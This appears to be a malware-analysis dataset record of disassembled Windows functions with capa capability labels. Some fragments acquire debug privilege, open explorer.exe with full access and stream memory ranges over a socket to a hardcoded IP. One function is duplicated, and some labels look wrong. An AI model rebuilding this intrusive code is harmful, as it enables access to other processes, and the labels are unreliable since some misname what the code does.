joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400e0a00
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400f0480]
mov rcx, qword [rax]
call fcn.140027ac0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
call fcn.1400e09b0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, 8
call fcn.1400dfe70
lea r8, [fcn.1400d6de0]
lea rdx, [0x1400f3fb0]
mov rcx, rax
mov rax, qword [0x1400f0fa0]
add rax, 0x10
mov qword [rcx], rax
call fcn.1400e03c0
nop
nop
nop
mov rcx, rax
mov rax, rdx
sub rax, 1
jne 0x1400e0aac
call fcn.1400dfee0
mov rcx, rax
mov rax, qword [rax]
call qword [rax + 0x10]
mov ecx, 2
mov rbx, rax
call rsi
mov r9, rax
mov r8d, 0xb
mov edx, 1
lea rcx, str.__what__:
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov ecx, 2
call rsi
mov rdx, rax
mov rcx, rbx
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputs
mov ecx, 2
call rsi
mov rdx, rax
mov ecx, 0xa
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
call fcn.1400dffd0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
mov rcx, rdi
call fcn.140026c60
call fcn.1400e0360
call fcn.1400dfee0
call fcn.1400dffd0
jmp 0x1400e0a9a

Function at 0x1400e0a30
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400f0480]
mov rcx, qword [rax]
call fcn.140027ac0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
call fcn.1400e09b0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, 8
call fcn.1400dfe70
lea r8, [fcn.1400d6de0]
lea rdx, [0x1400f3fb0]
mov rcx, rax
mov rax, qword [0x1400f0fa0]
add rax, 0x10
mov qword [rcx], rax
call fcn.1400e03c0
nop
nop
nop
mov rcx, rax
mov rax, rdx
sub rax, 1
jne 0x1400e0aac
call fcn.1400dfee0
mov rcx, rax
mov rax, qword [rax]
call qword [rax + 0x10]
mov ecx, 2
mov rbx, rax
call rsi
mov r9, rax
mov r8d, 0xb
mov edx, 1
lea rcx, str.__what__:
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov ecx, 2
call rsi
mov rdx, rax
mov rcx, rbx
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputs
mov ecx, 2
call rsi
mov rdx, rax
mov ecx, 0xa
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fputc
call fcn.1400dffd0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
mov rcx, rdi
call fcn.140026c60
call fcn.1400e0360
call fcn.1400dfee0
call fcn.1400dffd0
jmp 0x1400e0a9a
Function at 0x140001f60
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbx
push rdi
sub rsp, 0x48
mov rax, qword [0x14000d018]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rcx
lea rdi, [rsp + 0x68]
call fcn.140001f50
mov qword [rsp + 0x28], rdi
lea rdx, [0x14000d7a0]
xor edi, edi
mov r9, rbx
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
mov rcx, qword [rax]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___stdio_common_vsprintf_s]
lea rcx, [0x14000d7a0]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [0x14000e7a0]
lea r9, [rsp + 0x30]
mov r8d, eax
mov qword [rsp + 0x20], rdi
lea rdx, [0x14000d7a0]
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
lea rcx, [0x14000d7a0]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140006cf0
add rsp, 0x48
pop rdi
pop rbx
ret

Function at 0x140002210
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x14000d018]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor eax, eax
mov rdi, r8
mov ebx, edx
mov dword [rsp + 0x2c], eax
mov rbp, rcx
mov dword [rsp + 0x3c], eax
xor edx, edx
lea rcx, [rsp + 0x4d]
mov r8d, 0xeb
mov esi, r9d
call sub.VCRUNTIME140.dll_memset
mov rax, qword [rsp + 0x2a0]
lea rcx, [rsp + 0x140]
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x2a8]
mov r8d, 0x118
mov dword [rsp + 0x48], eax
movzx eax, byte [rsp + 0x2b0]
mov byte [rsp + 0x4c], al
mov qword [rsp + 0x20], 0x12345568
mov dword [rsp + 0x38], ebx
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x28], esi
call sub.VCRUNTIME140.dll_memset
lea rcx, [0x14000e7a8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor r9d, r9d
lea rdx, [rsp + 0x20]
mov r8d, 0x118
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x140002328
xor r9d, r9d
lea rdx, [rsp + 0x140]
mov r8d, 0x118
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
lea rcx, [0x14000e7a8]
movsxd rbx, eax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp rbx, 8
jb 0x140002328
cmp dword [rsp + 0x140], 0x12345568
jne 0x140002328
cmp dword [rsp + 0x144], 2
jne 0x140002328
mov eax, dword [rsp + 0x148]
jmp 0x14000232a
xor eax, eax
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140006cf0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x1400026c0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r13
push r15
sub rsp, 0x298
mov rax, qword [0x14000d018]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov qword [rsp + 0x38], rcx
mov ebx, r8d
lea rcx, [0x14000e7d0]
mov qword [rsp + 0x30], rdx
mov rsi, rdx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov r15, qword [0x14000e830]
mov ecx, 0x165318
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor ebp, ebp
lea rcx, [rsp + 0x164]
xor edx, edx
mov r8d, 0x114
mov r13, rax
mov edi, ebp
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov dword [rsp + 0x160], 0x12345568
mov r8d, 0x118
mov dword [rsp + 0x164], 3
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x168], ebx
call sub.VCRUNTIME140.dll_memset
lea rcx, [0x14000e7a8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
lea rdx, [rsp + 0x160]
mov r8d, 0x118
mov rcx, r15
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1400028ba
xor r9d, r9d
mov qword [rsp + 0x2e0], r12
mov r8d, 0x118
lea rdx, [rsp + 0x40]
mov rcx, r15
call qword [sym.imp.WS2_32.dll_recv]
mov edx, dword [rsp + 0x44]
movsxd r12, eax
cmp edx, 3
jne 0x14000287b
mov qword [rsp + 0x290], r14
lea rbx, [r13 + 8]
mov esi, ebp
cmp rsi, 0xee20
je 0x140002805
mov eax, dword [rsp + 0x58]
inc edi
mov rcx, qword [rsp + 0x48]
inc rsi
mov dword [rbx + 8], eax
mov rax, qword [rsp + 0x50]
mov qword [rbx], rax
mov eax, dword [rsp + 0x5c]
mov dword [rbx + 0xc], eax
mov qword [rbx - 8], rcx
add rbx, 0x18
xor r9d, r9d
lea rdx, [rsp + 0x40]
mov r8d, 0x118
mov rcx, r15
call qword [sym.imp.WS2_32.dll_recv]
cmp dword [rsp + 0x44], 3
je 0x1400027d4
mov rax, qword [rsp + 0x38]
lea rcx, [0x14000e7a8]
mov qword [rax], r13
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp edi, 0xee20
jne 0x14000284e
mov edx, edi
lea rcx, str.Pages_overflow___d__n
call fcn.140002010
mov rsi, qword [rsp + 0x30]
mov r14, qword [rsp + 0x290]
mov ecx, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x40]
cmp r12, 8
jb 0x140002896
cmp edx, 0x12345568
jne 0x140002896
cmp ecx, 2
jne 0x140002896
mov ebp, edi
jmp 0x1400028b2
lea rcx, str.completion_packet.header.type__X____PacketType::packet_get_memory_ranges__1__n
call fcn.140002010
lea rcx, [0x14000e7a8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x14000285b
mov dword [rsp + 0x20], ecx
mov r9d, edx
mov edx, r12d
lea rcx, str.Sync_error:__d____d___X__X_n
mov r8d, 8
call fcn.140002010
mov r12, qword [rsp + 0x2e0]
lea rcx, [0x14000e7d0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edx, ebp
lea rcx, str.Pages_found:__d._n
call fcn.140002010
mov eax, ebp
mov dword [rsi], ebp
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.140006cf0
add rsp, 0x298
pop r15
pop r13
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140002900
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x78
mov rax, qword [0x14000d018]
xor rax, rsp
mov qword [rsp + 0x68], rax
movsxd rbp, dword [rcx]
xor esi, esi
mov qword [rsp + 0x40], rcx
mov ebx, esi
lea edi, [rsi + 0x10]
nop word [rax + rax]
lea rdx, [rsp + 0x50]
xor r9d, r9d
add rdx, rbx
mov r8d, edi
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
cdqe
test rax, rax
je 0x140002ad0
cmp rax, 0xffffffffffffffff
jne 0x140002966
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
jne 0x140002977
mov rax, rsi
add rbx, rax
sub rdi, rax
jne 0x140002930
test rbx, rbx
je 0x140002ad0
mov qword [rsp + 0xb0], r13
mov r13d, dword [rsp + 0x5c]
mov qword [rsp + 0x70], r15
mov r15, qword [rsp + 0x54]
test r15, r15
je 0x140002ac3
mov qword [rsp + 0xa8], r12
mov ecx, r13d
mov qword [rsp + 0xb8], r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rsi
mov r14, rax
mov edi, r13d
test r13d, r13d
je 0x140002ab3
mov rax, qword [rsp + 0x40]
movsxd rbp, dword [rax]
nop word [rax + rax]
lea rdx, [rbx + r14]
xor r9d, r9d
mov r8d, edi
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
test eax, eax
je 0x140002ab3
cmp rcx, 0xffffffffffffffff
jne 0x140002a02
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [rax], 4
jne 0x140002a13
mov rcx, rsi
add rbx, rcx
sub rdi, rcx
jne 0x1400029d0
test rbx, rbx
je 0x140002ab3
lea rcx, [0x14000e7d0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbp, qword [rsp + 0x40]
mov rdi, qword [0x14000e830]
mov ebx, dword [rbp + 0x41c]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov byte [rsp + 0x30], 1
mov r9d, ebx
mov edx, eax
mov qword [rsp + 0x28], r13
mov r8, r14
mov qword [rsp + 0x20], r15
mov rcx, rdi
call fcn.140002210
lea rcx, [0x14000e7d0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movsxd rbx, dword [rbp]
lea rcx, [0x14000e838]
mov dword [rsp + 0x48], r13d
mov edi, 4
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
nop
lea rdx, [rsp + 0x48]
xor r9d, r9d
add rdx, rsi
mov r8d, edi
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
movsxd rdx, eax
test eax, eax
je 0x140002ab3
add rsi, rdx
sub rdi, rdx
jne 0x140002a80
lea rcx, [0x14000e838]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov r14, qword [rsp + 0xb8]
mov r12, qword [rsp + 0xa8]
mov r13, qword [rsp + 0xb0]
mov r15, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140006cf0
add rsp, 0x78
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140003d00
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x14000d018]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rdi, rcx
xor esi, esi
mov dword [rsp + 0x3c], reloc.WS2_32.dll_recv
lea r8, [rsp + 0x3c]
lea rdx, [rsp + 0x40]
mov rcx, qword [rdi]
call qword [sym.imp.WS2_32.dll_accept]
mov rbx, rax
test rax, rax
je 0x140003dd8
lea rdx, str.Cheat_Engine_connected_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004330
mov ecx, 0x420
call fcn.140006e8c
mov qword [rsp + 0x30], rax
movaps xmm0, xmmword [rsp + 0x40]
mov ecx, dword [rdi + 0x1a0]
mov byte [rax + 0x418], 0
mov qword [rax], rbx
movups xmmword [rax + 8], xmm0
mov dword [rax + 0x41c], ecx
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x140002610]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, qword [0x14000e868]
cmp rdx, qword [0x14000e870]
je 0x140003dcd
mov eax, dword [rsp + 0x38]
mov dword [rdx], eax
add qword [0x14000e868], 4
jmp 0x140003dd8
lea r8, [rsp + 0x38]
call fcn.140004500
nop
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140003d23
Function at 0x140005860
Capabilities:
Connect socket

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x14000d018]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov ebx, 2
lea rcx, str.94.250.249.149
mov word [rsp + 0x20], bx
call qword [sym.imp.WS2_32.dll_inet_addr]
lea ecx, [rbx + 0x4e]
mov dword [rsp + 0x24], eax
call qword [sym.imp.WS2_32.dll_htons]
lea edx, [rbx - 1]
mov ecx, ebx
lea r8d, [rbx + 4]
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400058d8
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1400058f3
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140006cf0
add rsp, 0x40
pop rbx
ret
mov rax, rbx
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140006cf0
add rsp, 0x40
pop rbx
ret
Function at 0x140001000
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x290
xor esi, esi
mov edi, esi
cmp edi, 0x32
jge 0x1400011a5
xor edx, edx
mov dword [rsp + 0x50], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x50]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x140001089
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x140001089
nop dword [rax + rax]
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x7c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
mov rcx, rbx
test eax, eax
je 0x1400010a4
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x140001060
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001016
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [rsp + 0x58]
test ebx, ebx
je 0x140001092
xorps xmm0, xmm0
mov qword [rsp + 0x38], rsi
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000112e
lea r8, [rsp + 0x44]
mov dword [rsp + 0x40], 1
lea rdx, str.SeDebugPrivilege
mov dword [rsp + 0x4c], 2
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140001123
mov rcx, qword [rsp + 0x38]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x28], rsi
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x14000119e
lea rdx, [rsp + 0x34]
mov dword [rsp + 0x34], esi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x14000118e
mov dword [rsp + 0x30], esi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [rsp + 0x30]
cmp dword [rsp + 0x34], eax
jne 0x14000118e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xfffffffa
jmp 0x1400011aa
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xfffffffd
jmp 0x1400011aa
mov eax, 0xfffffffe
jmp 0x1400011aa
mov eax, 0xffffffff
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140009950
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rsi
push rdi
sub rsp, 0x78
mov rsi, rdx
cmp dword [rcx], 2
jne 0x1400099e6
movdqu xmm0, xmmword [rcx + 8]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmmword [str.uespemosarenegylmodnarodsetybdetC:Userscharl.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_1.1.0_srcheadermap.rssize_overflows_MAX_SIZE]
movdqa xmmword [rsp + 0x30], xmm1
pshufd xmm1, xmm0, 0xee
pxor xmm1, xmmword [0x1401b8800]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x50], xmm0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov rdi, qword [rsi]
xor eax, eax
test rdi, rdi
setne al
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.14000a190
test rdi, rdi
je 0x140009a75
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x30]
jmp 0x140009a8e
mov rdx, qword [rsi]
xor ecx, ecx
test rdx, rdx
setne cl
movabs rax, 0xcbf29ce484222325
xor rax, rcx
movabs rcx, 0x1efac7090aef4a21
imul rax, rcx
test rdx, rdx
je 0x140009b86
mov r9, qword [rsi + 0x10]
test r9, r9
je 0x140009c08
mov rcx, qword [rsi + 8]
movabs rdx, 0x100000001b3
mov r10, r9
and r10, 7
je 0x140009b93
mov r11, rax
mov r8, rcx
nop word cs:[rax + rax]
movzx eax, byte [r8]
inc r8
xor rax, r11
imul rax, rdx
mov r11, rax
dec r10
jne 0x140009a50
cmp r9, 8
jae 0x140009b9c
jmp 0x140009c08
movzx eax, byte [rsi + 8]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.14000a190
mov rax, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
xor rcx, r9
mov r8, qword [rsp + 0x30]
add r8, rax
mov rdx, qword [rsp + 0x38]
add rdx, rcx
rol rax, 0xd
xor rax, r8
rol rcx, 0x10
rol r8, 0x20
xor rcx, rdx
add rdx, rax
rol rax, 0x11
add r8, rcx
xor rax, rdx
rol rcx, 0x15
xor rcx, r8
rol rdx, 0x20
xor r8, r9
xor rdx, 0xff
add r8, rax
rol rax, 0xd
add rdx, rcx
xor rax, r8
rol rcx, 0x10
xor rcx, rdx
rol r8, 0x20
add rdx, rax
add r8, rcx
rol rax, 0x11
xor rax, rdx
rol rcx, 0x15
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
add rdx, rcx
xor rax, r8
rol rcx, 0x10
xor rcx, rdx
rol r8, 0x20
add rdx, rax
add r8, rcx
rol rax, 0x11
xor rax, rdx
rol rcx, 0x15
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
add rdx, rcx
xor rax, r8
shl rcx, 0x10
xor rcx, rdx
add rdx, rax
shr rax, 0x2f
shr rcx, 0x2b
xor rcx, rax
mov rax, rdx
shr rax, 0x20
xor rax, rdx
xor rax, rcx
jmp 0x140009c08
movzx edx, byte [rsi + 8]
xor rax, rdx
imul rax, rcx
jmp 0x140009c08
mov r8, rcx
cmp r9, 8
jb 0x140009c08
add rcx, r9
nop
movzx r9d, byte [r8]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 1]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 2]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 3]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 4]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 5]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 6]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 7]
add r8, 8
xor rax, r9
imul rax, rdx
cmp r8, rcx
jne 0x140009ba0
and eax, 0x7fff
add rsp, 0x78
pop rdi
pop rsi
ret
Function at 0x14000a190
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x14000a1d2
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
cmovb rdi, r8
cmp rdi, 4
jb 0x14000a1da
mov esi, dword [rdx]
mov r9d, 4
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jb 0x14000a1eb
jmp 0x14000a202
xor r10d, r10d
jmp 0x14000a28d
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x14000a202
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x14000a219
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x14000a239
add r11, r8
jmp 0x14000a369
mov rcx, qword [rax + 0x18]
xor rcx, rsi
mov rdi, qword [rax + 0x10]
mov r9, qword [rax]
add r9, rdi
mov r11, qword [rax + 8]
add r11, rcx
rol rdi, 0xd
xor rdi, r9
rol rcx, 0x10
rol r9, 0x20
xor rcx, r11
add r11, rdi
rol rdi, 0x11
add r9, rcx
xor rdi, r11
rol rcx, 0x15
mov qword [rax + 0x10], rdi
xor rcx, r9
rol r11, 0x20
mov qword [rax + 0x18], rcx
mov qword [rax + 8], r11
xor r9, rsi
mov qword [rax], r9
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x14000a302
mov rcx, qword [rax]
mov r9, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
nop
mov rbx, qword [rdx + r10]
xor rdi, rbx
add rcx, rsi
rol rsi, 0xd
add r9, rdi
xor rsi, rcx
rol rdi, 0x10
xor rdi, r9
rol rcx, 0x20
add r9, rsi
add rcx, rdi
rol rsi, 0x11
xor rsi, r9
rol rdi, 0x15
rol r9, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x14000a2b0
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
cmp r11d, 4
jb 0x14000a31f
mov r9d, dword [rdx + r10]
mov r8d, 4
mov ecx, r8d
or ecx, 1
cmp ecx, r11d
jb 0x14000a330
jmp 0x14000a34b
xor r9d, r9d
xor r8d, r8d
mov ecx, r8d
or ecx, 1
cmp ecx, r11d
jae 0x14000a34b
lea rcx, [rdx + r8]
movzx esi, word [r10 + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8d, r11d
jae 0x14000a365
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret
Function at 0x140032650
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
test byte [rdx], 1
je 0x140032690
lea rax, [rdx + 8]
cmp qword [rdx + 0x38], 0xffffffffffffffff
mov r8, qword [rdx + 0x48]
mov r9, qword [rdx + 0x50]
mov r10, qword [rdx + 0x58]
mov rdx, qword [rdx + 0x60]
je 0x1400327b2
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], r10
mov byte [rsp + 0x30], 0
jmp 0x1400327c1
cmp byte [rdx + 0x1a], 0
jne 0x1400327e8
mov r8, qword [rdx + 8]
mov rax, qword [rdx + 0x48]
mov r9, qword [rdx + 0x50]
movzx r10d, byte [rdx + 0x18]
jmp 0x1400326b7
add r8, r11
mov qword [rdx + 8], r8
mov r11d, r10d
xor r10b, 1
test r8, r8
je 0x1400326e6
cmp r8, r9
jae 0x1400326e0
cmp byte [rax + r8], 0xbf
jg 0x1400326e6
jmp 0x1400327f6
jne 0x1400327f6
cmp r8, r9
je 0x1400327cb
movzx ebx, byte [rax + r8]
movzx esi, bl
test sil, sil
js 0x140032740
test r11b, 1
jne 0x1400327a9
mov r11d, 1
cmp esi, 0x80
jb 0x1400326b0
mov r11d, 2
cmp esi, 0x800
jb 0x1400326b0
cmp esi, 0x10000
mov r11d, 4
sbb r11, 0
jmp 0x1400326b0
mov edi, esi
and edi, 0x1f
movzx ebp, byte [rax + r8 + 1]
and ebp, 0x3f
cmp sil, 0xdf
jbe 0x140032787
movzx esi, byte [rax + r8 + 2]
shl ebp, 6
and esi, 0x3f
or esi, ebp
cmp bl, 0xf0
jb 0x14003279a
movzx ebx, byte [rax + r8 + 3]
and edi, 7
shl edi, 0x12
shl esi, 6
and ebx, 0x3f
or ebx, esi
or ebx, edi
mov esi, ebx
test r11b, 1
je 0x140032706
jmp 0x1400327a9
shl edi, 6
or edi, ebp
mov esi, edi
test r11b, 1
je 0x140032706
jmp 0x1400327a9
shl edi, 0xc
or esi, edi
test r11b, 1
je 0x140032706
mov byte [rdx + 0x18], r10b
mov r9, r8
jmp 0x1400327d5
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], r10
mov byte [rsp + 0x30], 1
mov rdx, rax
call fcn.140031ca0
jmp 0x1400327ed
mov byte [rdx + 0x18], r10b
test r11b, 1
je 0x1400327e4
mov qword [rcx + 8], r9
mov qword [rcx + 0x10], r9
mov eax, 1
jmp 0x1400327ea
mov byte [rdx + 0x1a], 1
xor eax, eax
mov qword [rcx], rax
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov byte [rdx + 0x18], r10b
lea rcx, [0x1401bd1d8]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rdx, r9
call fcn.1401b7de0
int3